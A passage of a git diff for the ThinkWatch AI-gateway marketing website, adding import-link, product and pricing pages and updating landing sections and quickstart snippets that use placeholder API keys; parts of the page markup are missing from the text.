c.meta.description), + ...(await enterpriseLd(lang)), + ...(await liteLd(lang)), + ...(await coreLd(lang)), +]; +--- + + + +
    + + + + + + + + + + + diff --git a/src/components/pages/ImportPage.astro b/src/components/pages/ImportPage.astro new file mode 100644 index 0000000..feddd17 --- /dev/null +++ b/src/components/pages/ImportPage.astro @@ -0,0 +1,453 @@ +--- +// /import: the web form of a ThinkWatch Lite import link. +// +// A relay, a vendor or a ThinkWatch Enterprise console links to +// https://thinkwat.ch/import#service=…&url=…&key=…. The parameters stay in the +// fragment, which browsers never send to a server; the script below reads them, +// checks them with the same rules as the app (src/lib/import-link.ts), shows the +// receiving hosts and the settings grouped the way the New upstream dialog +// groups them, and offers a button that opens thinkwatch://import?… built from +// the checked values only. Parameters from a newer version of the link are passed +// on, re-encoded, with a note that a newer app is needed. +// +// The page loads no third-party script (no analytics: the fragment may hold an +// API key), is kept out of search results, renders every value with +// textContent, and navigates nowhere but to that one app link. +import Base from "~/layouts/Base.astro"; +import SiteHeader from "~/components/SiteHeader.astro"; +import SiteFooter from "~/components/SiteFooter.astro"; +import LiteDownload from "~/components/LiteDownload.astro"; +import { getLang, localePath } from "~/i18n"; +import { importLinkText } from "~/lib/import-link-text"; + +const lang = getLang(Astro); +const zh = lang === "zh-CN"; +const docs = localePath(lang, "/docs/lite/import-links"); + +const shared = importLinkText(zh); + +const t = zh + ? { + title: "导入上游 · ThinkWatch Lite", + description: "把中转站、服务商或企业网关提供的上游设置导入 ThinkWatch Lite。", + heading: "导入上游到 ThinkWatch Lite", + intro: + "以下设置来自一条导入链接。ThinkWatch Lite 打开后在「新建上游」对话框中预填这些设置;选择「下一步」或开始登录之前,不保存任何设置,也不发出任何请求。", + sendsTo: "请求与密钥将发往", + tokenEndpoint: "Token 端点", + plainHttp: "这个地址不加密,密钥和请求内容以明文传输。", + signsIn: "登录账号", + signInNote: "链接不含任何凭据,登录在 ThinkWatch Lite 中进行。", + accounts: { openai: "ChatGPT", zai: "Z.ai", bigmodel: "BigModel" }, + updateTitle: "需要更新版本的 ThinkWatch Lite", + updateBody: "链接含有{p},本页无法识别。请先更新 ThinkWatch Lite,再打开这条链接;以下只列出本页能识别的设置。", + recognized: "按接口地址识别", + nameAuto: "由应用生成", + auto: "自动识别", + noKey: "未提供", + on: "开启", + selected: "指定模型:", + show: "显示", + hide: "隐藏", + spec: { + context: "上下文窗口", + maxOutput: "输出上限", + reasoning: "推理", + image: "图片输入", + yes: "支持", + no: "不支持", + }, + sheet: "新建价目表「{name}」,倍率 ×{multiplier}", + sheetUnnamed: "新建价目表,与上游同名,倍率 ×{multiplier}", + price: { + input: "输入", + output: "输出", + cacheRead: "缓存读取", + cacheWrite5m: "缓存写入 5 分钟", + cacheWrite1h: "缓存写入 1 小时", + unit: "美元 / 百万 tokens", + }, + open: "在 ThinkWatch Lite 中打开", + notInstalled: "尚未安装 ThinkWatch Lite 时,先下载并安装,再回到此页面。", + invalidTitle: "此导入链接无效", + invalidBody: "链接的参数不完整或不符合要求,未显示任何内容。请联系提供链接的服务商。", + noscript: "此页面需要启用 JavaScript 读取链接中的参数。", + docs: "导入链接说明", + } + : { + title: "Import an upstream · ThinkWatch Lite", + description: "Import an upstream provided by a relay, a vendor or an enterprise gateway into ThinkWatch Lite.", + heading: "Import an upstream into ThinkWatch Lite", + intro: + "The settings below come from an import link. ThinkWatch Lite opens them in the New upstream dialog, filled in, and saves nothing and sends nothing before Next is chosen or a sign-in is started.", + sendsTo: "Requests and keys will be sent to", + tokenEndpoint: "Token endpoint", + plainHttp: "This address is not encrypted; the key and request content travel in plain text.", + signsIn: "Account sign-in", + signInNote: "The link carries no credential. Sign-in happens in ThinkWatch Lite.", + accounts: { openai: "ChatGPT", zai: "Z.ai", bigmodel: "BigModel" }, + updateTitle: "This link needs a newer ThinkWatch Lite", + updateBody: + "The link contains {p}, which this page does not recognize. Update ThinkWatch Lite before opening the link; only the settings this page recognizes are listed below.", + recognized: "recognized from the base URL", + nameAuto: "Chosen by the app", + auto: "Auto-detect", + noKey: "Not provided", + on: "On", + selected: "Selected models: ", + show: "Show", + hide: "Hide", + spec: { + context: "context window", + maxOutput: "max output", + reasoning: "reasoning", + image: "image input", + yes: "yes", + no: "no", + }, + sheet: "New price sheet “{name}”, multiplier ×{multiplier}", + sheetUnnamed: "New price sheet named after the upstream, multiplier ×{multiplier}", + price: { + input: "input", + output: "output", + cacheRead: "cache reads", + cacheWrite5m: "cache writes 5m", + cacheWrite1h: "cache writes 1h", + unit: "USD / million tokens", + }, + open: "Open in ThinkWatch Lite", + notInstalled: "If ThinkWatch Lite is not installed yet, download and install it, then return to this page.", + invalidTitle: "This import link is not valid", + invalidBody: + "The link's parameters are incomplete or not accepted, so nothing is shown. Contact the provider of the link.", + noscript: "This page needs JavaScript to read the parameters of the link.", + docs: "About import links", + }; + +const strings = { ...shared, ...t }; + +const row = "grid gap-1 border-b border-[var(--color-border)] py-3 sm:grid-cols-[11rem_1fr] sm:gap-4"; +const label = "text-sm text-[var(--color-muted)]"; +const value = "min-w-0 break-all font-mono text-[15px] text-[var(--color-text)]"; +--- + + + +
    +
    +

    {t.heading}

    + + + + + + + +

    + {t.docs} +

    +
    + + + + + +
    + + + + diff --git a/src/components/pages/LitePage.astro b/src/components/pages/LitePage.astro new file mode 100644 index 0000000..f2b46d6 --- /dev/null +++ b/src/components/pages/LitePage.astro @@ -0,0 +1,2359 @@ +--- +// The /lite product page: ThinkWatch Lite, the desktop app for individual +// developers on macOS, Windows and Linux. Status copy must stay in line with the Lite +// README; how the copy is checked is described in src/i18n/pages/lite.ts. +// +// Each page shows the interface in its own language: the app ships in both, +// and a screenshot of the other one says little to the reader. The images in +// public/lite come from the Lite repository's docs/screenshots/web: window +// shots are 2360×1540, the menu 664×1120, the menu bar item 178×64, all at +// twice the size they are shown at. +import LiteDownload from "~/components/LiteDownload.astro"; +import TwMark from "~/components/TwMark.astro"; +import Base from "~/layouts/Base.astro"; +import SiteHeader from "~/components/SiteHeader.astro"; +import SiteFooter from "~/components/SiteFooter.astro"; +import { getLang, localePath, sponsorHref, t } from "~/i18n"; +import { liteCopy } from "~/i18n/pages/lite"; +import { formatSize, getLatestLiteRelease } from "~/lib/github"; +import { liteLd } from "~/lib/structured-data"; + +const lang = getLang(Astro); +const c = liteCopy[lang]; +const ui = t(lang).common; +const zh = lang === "zh-CN"; +/** 英文界面的那一套图带 `-en`,见文件头 */ +const shot = (id: string) => `/lite/${id}${zh ? "" : "-en"}.webp`; + +const repo = "https://github.com/ThinkWatchProject/ThinkWatch-Lite"; +const releases = `${repo}/releases`; +const latestPage = `${releases}/latest`; + +// The installers of the latest release. The file names carry the version, so +// they come from the release's asset list, looked up at build time, along with +// their sizes; without it, the buttons lead to the latest release page instead +// and no size is shown. Names are ThinkWatch-Lite---… +// (darwin, windows, linux); the installers, disk image and AppImages are matched +// by the end of the name, which releases before the rename share. +const liteRelease = await getLatestLiteRelease(); +const assetName = (suffix: string) => Object.keys(liteRelease?.assets ?? {}).find((n) => n.endsWith(suffix)); +const assetUrl = (suffix: string) => { + const name = assetName(suffix); + return name ? liteRelease!.assets[name] : null; +}; +const assetSize = (suffix: string) => { + const name = assetName(suffix); + return formatSize(name ? liteRelease!.sizes[name] : null); +}; +const winArchs = ["x64", "arm64"] as const; +const win = Object.fromEntries( + winArchs.map((arch) => [ + arch, + { + url: assetUrl(`-${arch}-setup.exe`) ?? latestPage, + sha: assetUrl(`-${arch}-setup.exe.sha256`), + size: assetSize(`-${arch}-setup.exe`), + }, + ]), +) as Record<(typeof winArchs)[number], { url: string; sha: string | null; size: string | null }>; +/** The Windows portable zips, linked from one line under the installer; the release page until a release has them */ +const winZip = Object.fromEntries( + winArchs.map((arch) => [arch, assetUrl(`-windows-${arch}-portable.zip`) ?? latestPage]), +) as Record<(typeof winArchs)[number], string>; +const linuxArchs = ["x86_64", "aarch64"] as const; +const linux = Object.fromEntries( + linuxArchs.map((arch) => [ + arch, + { + url: assetUrl(`-${arch}.AppImage`) ?? latestPage, + sha: assetUrl(`-${arch}.AppImage.sha256`), + size: assetSize(`-${arch}.AppImage`), + }, + ]), +) as Record<(typeof linuxArchs)[number], { url: string; sha: string | null; size: string | null }>; +const installScript = `${latestPage}/download/install.sh`; +const dmg = { + url: assetUrl("-arm64.dmg") ?? latestPage, + sha: assetUrl("-arm64.dmg.sha256"), + size: assetSize("-arm64.dmg"), +}; +const liteVersion = liteRelease?.tag.replace(/^v/, "") ?? null; +const installDocsHref = localePath(lang, "/docs/lite/install"); +const sourceDocsHref = localePath(lang, "/docs/lite/run-from-source"); +const remoteDocsHref = localePath(lang, "/docs/lite/remote-core"); +/** Installing and running twcore on a Linux server, in the Core docs */ +const serverDocsHref = localePath(lang, "/docs/core/server-deployment"); +const jsonLd = await liteLd(lang); +const changelogHref = localePath(lang, "/changelog"); +/** Feature copy by id: the story and the bento pick their text from it. Plugins have no screenshot, so no alt. */ +const feat = Object.fromEntries(c.features.items.map((item) => [item.id, item])) as Record< + string, + { id: string; title: string; body: string; alt?: string } +>; +/** Permissions a plugin declares, as named in the plugins doc */ +const pluginPermissions = ["system", "messages", "tools", "params", "reply.text", "reply.tool_calls"]; +/** The short plugin on the plugins tile, as highlighted lines: the doc's example, cut down */ +const escHtml = (s: string) => s.replace(/&/g, "&").replace(//g, ">"); +const pluginCode = [ + `export const manifest = {`, + ` name: "${escHtml(c.motion.bento.plugin.name)}",`, + ` api: 1,`, + ` permissions: ["system"],`, + `};`, + ``, + `export function onRequest(req) {`, + ` req.system += "\\n\\n${escHtml(c.motion.bento.plugin.note)}";`, + ` return req;`, + `}`, +].join("\n"); +/** The four stops of the scroll story, in the order a request meets them */ +const storyIds = ["routing", "security", "traffic", "overview"] as const; +const clients = [ + "Claude Code", + "Codex", + "Claude Desktop", + "opencode", + "Pi", + "oh-my-pi", + "Grok Build", + "Qwen Code", + "Hermes Agent", + "Cursor", + "Zed", + "Aider", + "DeepSeek Harness", + "Continue", + "Antigravity CLI", +]; + +const delay = (i: number) => `animation-delay: ${i * 90}ms;`; +const eyebrow = "font-mono text-[11px] uppercase tracking-[0.08em] text-[var(--color-muted)] sm:text-[13px]"; +const h2 = zh + ? "font-display m-0 text-[26px] leading-[1.35] sm:text-[32px] lg:text-[36px]" + : "font-display m-0 text-[30px] leading-[1.15] sm:text-[36px] lg:text-[40px]"; +const textLink = + "inline-flex min-h-11 items-center text-[17px] font-medium text-[var(--color-brand-1)] transition-colors hover:text-[var(--color-brand-2)]"; +/** 截图外的一圈:和窗口自带的阴影配合,不再加边框 */ +const shotClass = "w-full rounded-[10px]"; +const archLabel = { x64: "x64", arm64: "ARM64" } as const; +--- + + + +
    + +
    + + +
    +
    + {liteVersion && ( + {c.motion.released(liteVersion)}→ + )} +

    + {c.hero.titleA}{c.hero.titleHighlight} +

    +

    {c.hero.sub}

    + + +
    + +
    + +
    +
    +
    + + {c.motion.flow.title} + + +
    + + +
    +
    + + + + + + + + diff --git a/src/components/pages/PricingPage.astro b/src/components/pages/PricingPage.astro new file mode 100644 index 0000000..2b242fd --- /dev/null +++ b/src/components/pages/PricingPage.astro @@ -0,0 +1,384 @@ +--- +// Shared /pricing page: the licenses of the three products and the commercial +// terms of ThinkWatch Enterprise. Copy lives in src/i18n/pages/pricing.ts. +import Base from "~/layouts/Base.astro"; +import SiteHeader from "~/components/SiteHeader.astro"; +import SiteFooter from "~/components/SiteFooter.astro"; +import NeonMotion from "~/components/NeonMotion.astro"; +import { getLang } from "~/i18n"; +import { pricingCopy } from "~/i18n/pages/pricing"; +import { breadcrumbs, webPage } from "~/lib/structured-data"; + +const lang = getLang(Astro); +const c = pricingCopy[lang]; + +const jsonLd = [ + webPage(lang, "/pricing", c.meta.title, c.meta.description), + breadcrumbs(lang, "/pricing", c.meta.breadcrumbHome, c.meta.breadcrumbPage), +]; +--- + + + +
    +
    + + +
    +

    {c.hero.eyebrow}

    +

    {c.hero.title}

    +

    {c.hero.sub}

    + + +
    + {c.products.map((p) => ( +
    + {p.badge} +

    {p.name}

    +

    {p.body}

    +
    + ))} +
    +
    +
    + + +
    +
    +

    {c.rules.eyebrow}

    +

    {c.rules.title}

    + +
    + {c.rules.rows.map((r) => ( +
    +
    {r.term}
    +
    {r.rule}
    +
    + ))} +
    + +

    {c.tiers.title}

    +

    {c.tiers.sub}

    +

    {c.tiers.scrollHint}

    + + +
    + + + + {c.tiers.headers.map((h) => )} + + + + {c.tiers.rows.map((row) => ( + + + + + + + ))} + +
    {h}
    {row.name}{row.tokens}{row.calls}{row.price}
    +
    + +
    + {c.tiers.notes.map((n) =>

    {n}

    )} +
    +
    +
    + + +
    +
    +

    {c.counts.eyebrow}

    +

    {c.counts.volume}

    +
    + {c.counts.cards.map((card) => ( +
    +

    {card.title}

    +
    + {c.counts.counted} +

    {card.counted}

    +
    +
    + {c.counts.notCounted} +

    {card.notCounted}

    +
    +
    + ))} +
    +
    +
    + + +
    +
    +
    +
    +

    {c.fullText.title}

    +

    {c.fullText.body}

    + +
    +
    +

    {c.contact.title}

    +

    {c.contact.body}

    + {c.contact.label} +
    +
    +
    +
    +
    + + + + + diff --git a/src/components/pages/ThinkWatchPage.astro b/src/components/pages/ThinkWatchPage.astro new file mode 100644 index 0000000..45566a6 --- /dev/null +++ b/src/components/pages/ThinkWatchPage.astro @@ -0,0 +1,143 @@ +--- +// The /thinkwatch product page (self-hosted enterprise edition). A new hero, +// then the existing enterprise sections and a license teaser. +import Base from "~/layouts/Base.astro"; +import SiteHeader from "~/components/SiteHeader.astro"; +import SiteFooter from "~/components/SiteFooter.astro"; +import CompatibleWith from "~/components/sections/CompatibleWith.astro"; +import Problem from "~/components/sections/Problem.astro"; +import HowItWorks from "~/components/sections/HowItWorks.astro"; +import FeaturesSection from "~/components/sections/FeaturesSection.astro"; +import MCPAdvantage from "~/components/sections/MCPAdvantage.astro"; +import LivePanels from "~/components/sections/LivePanels.astro"; +import QuickStart from "~/components/sections/QuickStart.astro"; +import LogExplorerMock from "~/components/mocks/LogExplorerMock.tsx"; +import NeonMotion from "~/components/NeonMotion.astro"; +import { getLang, localePath } from "~/i18n"; +import { productHomeHref } from "~/content/docs/_meta"; +import { getLatestRelease } from "~/lib/github"; +import { enterpriseLd } from "~/lib/structured-data"; +import { thinkwatchCopy } from "~/i18n/pages/thinkwatch"; + +const lang = getLang(Astro); +const c = thinkwatchCopy[lang]; +const zh = lang === "zh-CN"; + +const release = await getLatestRelease(); +const version = release ? (release.startsWith("v") ? release : `v${release}`) : null; + +const pills: { label: string; title?: string }[] = [ + ...c.hero.pills.map((label) => ({ label })), + ...(version ? [{ label: version, title: c.hero.versionLabel }] : []), + { label: c.hero.license }, +]; + +const jsonLd = await enterpriseLd(lang); + +const delay = (i: number) => `animation-delay: ${i * 90}ms;`; +--- + + + +
    +
    + + +
    +
    + {version && ( + {c.hero.announce(version.replace(/^v/, ""))}→ + )} +

    + {c.hero.titleA}{c.hero.titleHighlight} +

    +

    {c.hero.sub}

    + +
      + {pills.map((p) => ( +
    • {p.label}
    • + ))} +
    +
    + +
    +
    + +
    +
    {c.hero.mockSample} · {c.hero.mockNote}
    +
    +
    +
    + + + + + + + + + +
    +
    +
    +
    +

    + {c.licenseTeaser.title} +

    +

    + {c.licenseTeaser.body} +

    +
    + + {c.licenseTeaser.link} + + +
    +
    +
    +
    + + + + + diff --git a/src/components/sections/CompatibleWith.astro b/src/components/sections/CompatibleWith.astro index 7210880..01f2b50 100644 --- a/src/components/sections/CompatibleWith.astro +++ b/src/components/sections/CompatibleWith.astro @@ -3,29 +3,27 @@ import { getLang, t } from "~/i18n"; const s = t(getLang(Astro)).compatible; -const items = [ - "Claude Code", - "Cursor", - "Continue", - "Cline", - "OpenAI SDK", - "Anthropic SDK", - "LangChain", - "LlamaIndex", -]; +// Only clients the ThinkWatch README names as drop-in compatible. +const items = ["Claude Code", "Cursor", "Continue", "Cline", "OpenAI SDK", "Anthropic SDK"]; --- -
    -
    -

    - {s.label} -

    -
      - {items.map((name) => ( -
    • - {name} -
    • - ))} +
      +

      {s.label}

      +
      +
        + {[...items, ...items, ...items].map((name, i) =>
      • = items.length ? "true" : undefined}>{name}
      • )}
      + + diff --git a/src/components/sections/Features.tsx b/src/components/sections/Features.tsx index f496154..8c97e49 100644 --- a/src/components/sections/Features.tsx +++ b/src/components/sections/Features.tsx @@ -1,4 +1,5 @@ import { useState } from "react"; +import { spanClass } from "~/lib/grid"; export type FeatureModule = { id: string; @@ -13,7 +14,11 @@ export default function Features({ modules }: { modules: readonly FeatureModule[ return (
      -
      +
      {modules.map((m) => { const isActive = m.id === active; return ( @@ -22,41 +27,39 @@ export default function Features({ modules }: { modules: readonly FeatureModule[ role="tab" aria-selected={isActive} onClick={() => setActive(m.id)} - className={`relative px-4 py-2 rounded-lg text-sm font-medium transition-all ${ + className={`relative shrink-0 snap-start px-4 py-2 rounded-[9px] text-sm font-medium transition-all ${ isActive - ? "text-white bg-white/[0.06]" + ? "text-white bg-[var(--color-surface-2)] shadow-[inset_0_0_0_1px_rgba(255,255,255,0.14)]" : "text-[var(--color-muted)] hover:text-white" }`} > {m.label} - {isActive && ( - - )} ); })}
      -
      -

      +

      +

      {current.tagline}

      -
      +
      {current.bullets.map((b, i) => (
      -
      - -
      -

      {b.title}

      -

      {b.body}

      -
      +
      + + + {String(i + 1).padStart(2, "0")} +
      +

      {b.title}

      +

      {b.body}

      ))}
      diff --git a/src/components/sections/FeaturesSection.astro b/src/components/sections/FeaturesSection.astro index 067ebef..0b8f5f8 100644 --- a/src/components/sections/FeaturesSection.astro +++ b/src/components/sections/FeaturesSection.astro @@ -5,16 +5,16 @@ import { getLang, t } from "~/i18n"; const s = t(getLang(Astro)).features; --- -
      +
      -
      +
      {s.eyebrow}
      -

      - {s.title}{s.titleHighlight}. +

      + {s.title}{s.titleHighlight}

      -

      +

      {s.sub}

      diff --git a/src/components/sections/Hero.astro b/src/components/sections/Hero.astro deleted file mode 100644 index 655351f..0000000 --- a/src/components/sections/Hero.astro +++ /dev/null @@ -1,66 +0,0 @@ ---- -import Terminal from "../ui/Terminal.tsx"; -import MagneticButton from "../ui/MagneticButton.tsx"; -import HeroVisual from "../hero/HeroVisual.tsx"; -import { getLang, t } from "~/i18n"; - -const lang = getLang(Astro); -const s = t(lang).hero; -const common = t(lang).common; ---- - -
      - - -
      -
      -
      - - {s.badge} -
      - -

      - {s.titleA}
      - {s.titleB}{s.titleHighlight} -

      - -

      - {s.sub} -

      - -
      - - {s.ctaPrimary} - - - {common.githubLink} - -
      - -
      - {s.stack.map((item, i) => ( - <> - {i > 0 && } - {item} - - ))} -
      -
      - -
      - -
      -
      -
      - -
      -
      diff --git a/src/components/sections/HowItWorks.astro b/src/components/sections/HowItWorks.astro index 048ac71..3951c36 100644 --- a/src/components/sections/HowItWorks.astro +++ b/src/components/sections/HowItWorks.astro @@ -4,30 +4,30 @@ import { getLang, t } from "~/i18n"; const s = t(getLang(Astro)).how; const clients = [ - { name: "Claude Code", color: "#22D3EE" }, - { name: "Cursor", color: "#67E8F9" }, - { name: "Custom Agent", color: "#A78BFA" }, - { name: "CI/CD Pipeline", color: "#C4B5FD" }, + { name: "Claude Code", color: "#22E5F2" }, + { name: "Cursor", color: "#F05CD8" }, + { name: "Custom Agent", color: "#F05CD8" }, + { name: "CI/CD Pipeline", color: "#8FB8FF" }, ]; const providers = [ { name: "OpenAI", color: "#10A37F" }, { name: "Anthropic", color: "#D97706" }, { name: "Google Gemini", color: "#4285F4" }, - { name: "Azure / Bedrock", color: "#A78BFA" }, + { name: "Azure / Bedrock", color: "#F05CD8" }, ]; --- -
      +
      -
      +
      {s.eyebrow}
      -

      - {s.title}{s.titleHighlight}. +

      + {s.title}{s.titleHighlight}

      -

      +

      {s.sub}

      @@ -55,8 +55,8 @@ const providers = [ - - + + @@ -67,8 +67,8 @@ const providers = [ - - + + @@ -105,17 +105,30 @@ const providers = [
      - +
      {s.pipelineLabel}
      -
        - {s.pipeline.map((step) => ( -
      1. -
        - {step.step} - {step.label} -
        -

        $1')}>

        + +
        +
        +
        + +
          + {s.pipeline.map((step, i) => ( +
        1. +
        2. ))}
        @@ -125,42 +138,29 @@ const providers = [ diff --git a/src/components/sections/License.astro b/src/components/sections/License.astro deleted file mode 100644 index ca004af..0000000 --- a/src/components/sections/License.astro +++ /dev/null @@ -1,86 +0,0 @@ ---- -import { getLang, t } from "~/i18n"; - -const s = t(getLang(Astro)).license; - -const ctaHrefs = [ - "#quickstart", - "https://github.com/ThinkWatchProject/ThinkWatch/blob/main/LICENSING.md", - "mailto:hello@thinkwat.ch?subject=ThinkWatch%20commercial%20license%20enquiry", -]; - -const tiers = s.tiers.map((tier, i) => ({ - ...tier, - highlight: i === 1, - cta: { label: tier.ctaLabel, href: ctaHrefs[i] }, -})); ---- - -
        -
        -
        -
        - {s.eyebrow} -
        -

        - {s.title}{s.titleHighlight}. -

        -

        - {s.sub} -

        -
        - -
        - {tiers.map((tier) => ( -
        - {tier.highlight && ( -
        - {s.mostTeams} -
        - )} - -
        {tier.name}
        -
        - {tier.price} - {tier.priceNote} -
        -

        {tier.audience}

        - -
          - {tier.features.map((f) => ( -
        • - - {f} -
        • - ))} -
        - - - {tier.cta.label} → - -
        - ))} -
        - -

        - {s.footnote[0]}{s.footnote[1]}{s.footnote[2]} -

        -
        -
        diff --git a/src/components/sections/LivePanels.astro b/src/components/sections/LivePanels.astro index 3224152..ac95857 100644 --- a/src/components/sections/LivePanels.astro +++ b/src/components/sections/LivePanels.astro @@ -8,16 +8,16 @@ import { getLang, t } from "~/i18n"; const s = t(getLang(Astro)).live; --- -
        +
        -
        +
        {s.eyebrow}
        -

        - {s.title}{s.titleHighlight}. +

        + {s.title}{s.titleHighlight}

        -

        +

        {s.sub}

        diff --git a/src/components/sections/MCPAdvantage.astro b/src/components/sections/MCPAdvantage.astro new file mode 100644 index 0000000..facde55 --- /dev/null +++ b/src/components/sections/MCPAdvantage.astro @@ -0,0 +1,183 @@ +--- +import { getLang, t } from "~/i18n"; + +const s = t(getLang(Astro)).mcpAdvantage; + +// Map raw cell values to (label, treatment) so the table renders consistently +// across en / zh-CN. Treatment drives color: positive = green, neutral = amber, +// negative = dim red. +type Treatment = "positive" | "neutral" | "negative"; +const cellMap: Record = { + yes: { label: "✓", treatment: "positive" }, + no: { label: "—", treatment: "negative" }, + shared: { label: s.legendShared ?? "shared account", treatment: "negative" }, + partial: { label: s.legendPartial ?? "partial", treatment: "neutral" }, + limited: { label: s.legendLimited ?? "limited", treatment: "neutral" }, + "hosted-only": { label: s.legendHostedOnly ?? "hosted-only", treatment: "neutral" }, + "n/a": { label: "n/a", treatment: "negative" }, + saas: { label: s.legendSaas ?? "SaaS-only", treatment: "neutral" }, + varies: { label: s.legendVaries ?? "varies", treatment: "neutral" }, + english: { label: s.legendEnglish ?? "English-only", treatment: "neutral" }, + proprietary: { label: s.legendProprietary ?? "proprietary",treatment: "neutral" }, + oss: { label: s.legendOss ?? "OSS", treatment: "neutral" }, +}; + +function cell(raw: string) { + return cellMap[raw] ?? { label: raw, treatment: "neutral" as Treatment }; +} + +const treatmentClass: Record = { + positive: "text-[var(--color-brand-1)]", + neutral: "text-amber-300/80", + negative: "text-[var(--color-dim)]", +}; +--- + +
        + + + +
        +
        +
        + {s.eyebrow} +
        +

        + {s.title}{s.titleHighlight} +

        +

        + {s.sub} +

        +
        + + +
        +
        + {s.tableTitle} +
        + +
        +
        + + + + {s.columns.map((col, i) => ( + + ))} + + + + {s.rows.map((row, rIdx) => ( + + + {row.values.map((raw, cIdx) => { + const c = cell(raw); + return ( + + ); + })} + + ))} + +
        1 ? "text-[var(--color-dim)]" : "", + ]} + > + {i === 1 ? ( + + + {col} + + ) : ( + col + )} +
        {row.label} + {c.label} +
        +
        +
        + +

        {s.tableNote}

        +
        + + +
        +
        + {s.cardsTitle} +
        +
        + {s.cards.map((card, i) => ( +
        +
        + + 0{i + 1} + + + ThinkWatch + +
        +

        {card.title}

        +

        {card.body}

        +
        +
        + ))} +
        +
        +
        +
        + + + + diff --git a/src/components/sections/Problem.astro b/src/components/sections/Problem.astro index fd1a4f9..49d54f7 100644 --- a/src/components/sections/Problem.astro +++ b/src/components/sections/Problem.astro @@ -1,36 +1,51 @@ --- import TiltCard from "../ui/TiltCard.tsx"; import { getLang, t } from "~/i18n"; +import { spanClass } from "~/lib/grid"; const s = t(getLang(Astro)).problem; + +// Line icons keyed by the `icon` id in the copy; 24px grid, 1.6 stroke. +const icons: Record = { + key: '', + eye: '', + shield: '', + audit: '', + cost: '', +}; --- -
        +
        -
        +
        {s.eyebrow}
        -

        - {s.title}{s.titleHighlight}. +

        + {s.title}{s.titleHighlight}

        -

        +

        {s.sub}

        -
        - {s.pains.map((p) => ( - -
        - @@ -41,3 +56,41 @@ const s = t(getLang(Astro)).problem;
        + + + + diff --git a/src/components/sections/QuickStart.astro b/src/components/sections/QuickStart.astro index 4eba46a..51a0231 100644 --- a/src/components/sections/QuickStart.astro +++ b/src/components/sections/QuickStart.astro @@ -1,18 +1,20 @@ --- import { codeToHtml } from "shiki"; import CodeTabs, { type Snippet } from "./CodeTabs.tsx"; -import { getLang, t } from "~/i18n"; +import { getLang, localePath, t } from "~/i18n"; const lang = getLang(Astro); const s = t(lang).quickstart; +// Client snippets. Env var names and the Cursor settings path follow the +// configuration guide built into the ThinkWatch console (/gateway/guide). const rawSnippets: { id: string; label: string; lang: string; code: string }[] = [ { id: "curl", label: "cURL", lang: "bash", code: `curl https://gateway.your-org.com/v1/chat/completions \\ - -H "Authorization: Bearer tw-prod-xxxxxxxxxxxxxxxxx" \\ + -H "Authorization: Bearer tw-your-api-key-here" \\ -H "Content-Type: application/json" \\ -d '{ "model": "gpt-4o", @@ -28,7 +30,7 @@ const rawSnippets: { id: string; label: string; lang: string; code: string }[] = client = OpenAI( base_url="https://gateway.your-org.com/v1", - api_key="tw-prod-xxxxxxxxxxxxxxxxx", + api_key="tw-your-api-key-here", ) stream = client.chat.completions.create( @@ -47,7 +49,7 @@ for chunk in stream: client = Anthropic( base_url="https://gateway.your-org.com", - api_key="tw-prod-xxxxxxxxxxxxxxxxx", + api_key="tw-your-api-key-here", ) with client.messages.stream( @@ -62,28 +64,20 @@ with client.messages.stream( id: "claude-code", label: "Claude Code", lang: "bash", - code: `# ~/.config/claude-code/settings.json -{ - "anthropicBaseUrl": "https://gateway.your-org.com", - "anthropicApiKey": "tw-prod-xxxxxxxxxxxxxxxxx" -} - -# Or via environment + code: `# Set ThinkWatch as the Anthropic API proxy export ANTHROPIC_BASE_URL=https://gateway.your-org.com -export ANTHROPIC_API_KEY=tw-prod-xxxxxxxxxxxxxxxxx`, +export ANTHROPIC_API_KEY=tw-your-api-key-here + +# Then use claude normally +claude`, }, { id: "cursor", label: "Cursor", - lang: "json", - code: `// Cursor → Settings → Models → OpenAI API Key -{ - "openai.apiKey": "tw-prod-xxxxxxxxxxxxxxxxx", - "openai.baseUrl": "https://gateway.your-org.com/v1" -} - -// Cursor will auto-discover the available models -// from /v1/models on the gateway.`, + lang: "text", + code: `// In Cursor Settings > Models > OpenAI API Key +// Base URL: https://gateway.your-org.com/v1 +// API Key: tw-your-api-key-here`, }, ]; @@ -99,47 +93,66 @@ const snippets: Snippet[] = await Promise.all( })), ); -const stepCmds = [ - "make infra", - "cp .env.example .env && make dev-backend", - "cd web && pnpm install && pnpm dev", - "open http://localhost:5173/setup", +// Commands match the Quick Start in the ThinkWatch README exactly. +const stepCmds: { cmds: string[]; url?: string }[] = [ + { cmds: ["make infra"] }, + { cmds: ["make dev-secrets", "make dev-backend"] }, + { cmds: ["cd web && pnpm install && pnpm dev"] }, + { cmds: [], url: "http://localhost:5173/setup" }, ]; const steps = s.steps.map((step, i) => ({ n: String(i + 1), title: step.title, body: step.body, - cmd: stepCmds[i], + ...stepCmds[i], })); --- -
        +
        -
        +
        {s.eyebrow}
        -

        - {s.title}{s.titleHighlight}. +

        + {s.title}{s.titleHighlight}{s.titleEnd}

        -

        +

        {s.sub}

        + + {s.deployLink} + +
        -
        +
          - {steps.map((s) => ( -
        1. -
        2. +
          -
          {s.title}
          -

          {s.body}

          - - $ {s.cmd} - +
          {step.title}
          +

          {step.body}

          + {step.cmds.length > 0 && ( + + {step.cmds.map((cmd) => ( + $ {cmd} + ))} + + )} + {step.url && ( + + {step.url} + + )}
        3. ))} diff --git a/src/components/sections/StarHistory.astro b/src/components/sections/StarHistory.astro deleted file mode 100644 index 535f35c..0000000 --- a/src/components/sections/StarHistory.astro +++ /dev/null @@ -1,56 +0,0 @@ ---- -import { getLang, t } from "~/i18n"; - -const s = t(getLang(Astro)).star; - -const repo = "ThinkWatchProject/ThinkWatch"; -const chartUrl = `https://api.star-history.com/svg?repos=${repo}&type=Date&theme=dark`; -const chartHref = `https://www.star-history.com/#${repo}&Date`; ---- - -
          -
          -
          -
          - {s.eyebrow} -
          -

          - {s.title}{s.titleHighlight}. -

          -

          - {s.sub} -

          -
          - - - {`Star - - - -
          -
